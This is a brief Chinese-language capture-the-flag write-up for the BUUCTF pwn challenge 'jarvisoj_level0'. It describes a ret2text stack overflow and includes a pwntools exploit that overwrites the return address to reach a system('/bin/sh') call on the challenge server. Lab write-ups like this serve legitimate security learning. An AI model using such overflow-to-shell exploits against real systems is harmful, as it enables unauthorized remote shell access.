Week4&&Week5 T1 jarvisoj_level0
2023-01-20WP
BUUCTF pwn 第六题
考点: 简单栈溢出/基本rop ret2text
0x01
file checksec —— 64-bit,开NX
0x02
IDA查看发现main函数里的vulnerable_function()函数里的read函数读取0x200ull,而buf空间只有0x80
又找到有system(“/bin/sh”)
返回其地址
0x03
exp
from pwn import *
p = remote("node4.buuoj.cn",29175)
ret_arr = 0X40059A
payload = b'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()